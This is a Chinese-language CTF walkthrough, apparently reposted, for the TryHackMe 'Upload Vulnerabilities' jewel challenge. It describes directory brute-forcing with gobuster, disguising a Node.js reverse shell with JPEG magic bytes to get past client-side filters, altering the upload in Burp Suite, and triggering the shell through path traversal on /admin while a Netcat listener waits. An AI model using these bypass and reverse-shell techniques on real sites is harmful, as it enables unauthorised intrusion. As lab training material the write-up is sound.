gobuster dir -u http://jewel.uploadvulns.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

掃描發現四個目錄: /content /modules /admin /assets
在瀏覽器中訪問目標站點查看其網站源代碼:


由過濾腳本可知:客戶端存在三種過濾,驗證檔案大小、驗證魔術數字、驗證檔案擴展名
使用Wappalyzer瀏覽器插件檢測到該網站屬于nodejs站點,所以需要一個nodejs反向shell檔案(前文已經給出下載鏈接)

對該shell檔案進行修改以便能夠繞過一些過濾:
打開shell檔案,在其內容的頂部添加AAA(占位用),
使用hexeditor工具,將AAA對應的十六進制數值改為jpg檔案對應的魔術數字的前三位十六進制值FF D8 FF(對應的ASCII碼為???)--因為js過濾器中的代碼只檢測了前三位
修改檔案名為shell.jpg
查看檔案的大小是否超過檔案大小過濾器的限定值

進行檔案上傳操作,打開Burpsuite攔截該上傳,因為shell的內容中添加了多余的魔術數字,所以為了使shell檔案能被激活,最侄訓需要洗掉這些字符,php的shell檔案不需要這一步操作----因為魔術數字能被添加在php的開始標志"<?php"之外,

通過Burpsuite攔截到的內容,我們可以看到目標站點對檔案內容進行了base64編碼,
對nodejs的反向shell檔案內容進行base64編碼,替換掉Burpsuite中的編碼內容,然后再點擊"Forward",將該請求訊息轉發給服務器端,
其實洗掉掉/9j/就行,這幾個字符是jpg魔術數字前三位對應的ASCII碼(前三位???)的base64編碼,
嘗試訪問之前爆破得到的目錄,發現只有一個目錄可以訪問,即:/admin ,根據頁面提示 我們需要找到要訪問的具體檔案路徑,然后輸入到下圖中的輸入框中:

我們要找的是jpg格式的檔案路徑,所以我們先看一下網站原有圖片的路徑:

從上圖可以看到網站原有的圖片在/content目錄下
現在使用TryHackme提供的字典進行目錄爆破 指定目錄為/content 并指定檔案格式為.jpg,嘗試找到我們已經上傳的shell檔案,因為之前檢測過shell檔案的大小,所以我們找size在400左右的jpg檔案進行訪問:
gobuster dir -u http://jewel.uploadvulns.thm/content -w ./UploadVulnsWordlist.txt -x .jpg

在攻擊機終端使用Netcat建立監聽器,在目標站點下/admin頁面中的輸入框中輸入../content/xxx.jpg ,建立反向shell,使用該shell界面查找flag檔案并查看其內容:



恢復hosts檔案配置
在完成練習之后,需要恢復在第一節中對hosts檔案所做的修改,
在Linux或MacOS上,使用以下命令:
sudo sed -i '$d' /etc/hosts #該行命令的意思是:洗掉文本的最后一列 也就是說把之前在第一節中添加的那一行記錄洗掉,
在Windows上使用以下命令:
(GC C:\Windows\System32\drivers\etc\hosts | select -Skiplast 1) | SC C:\Windows\System32\drivers\etc\hosts


關卡完整答案


轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/509586.html
標籤:其他
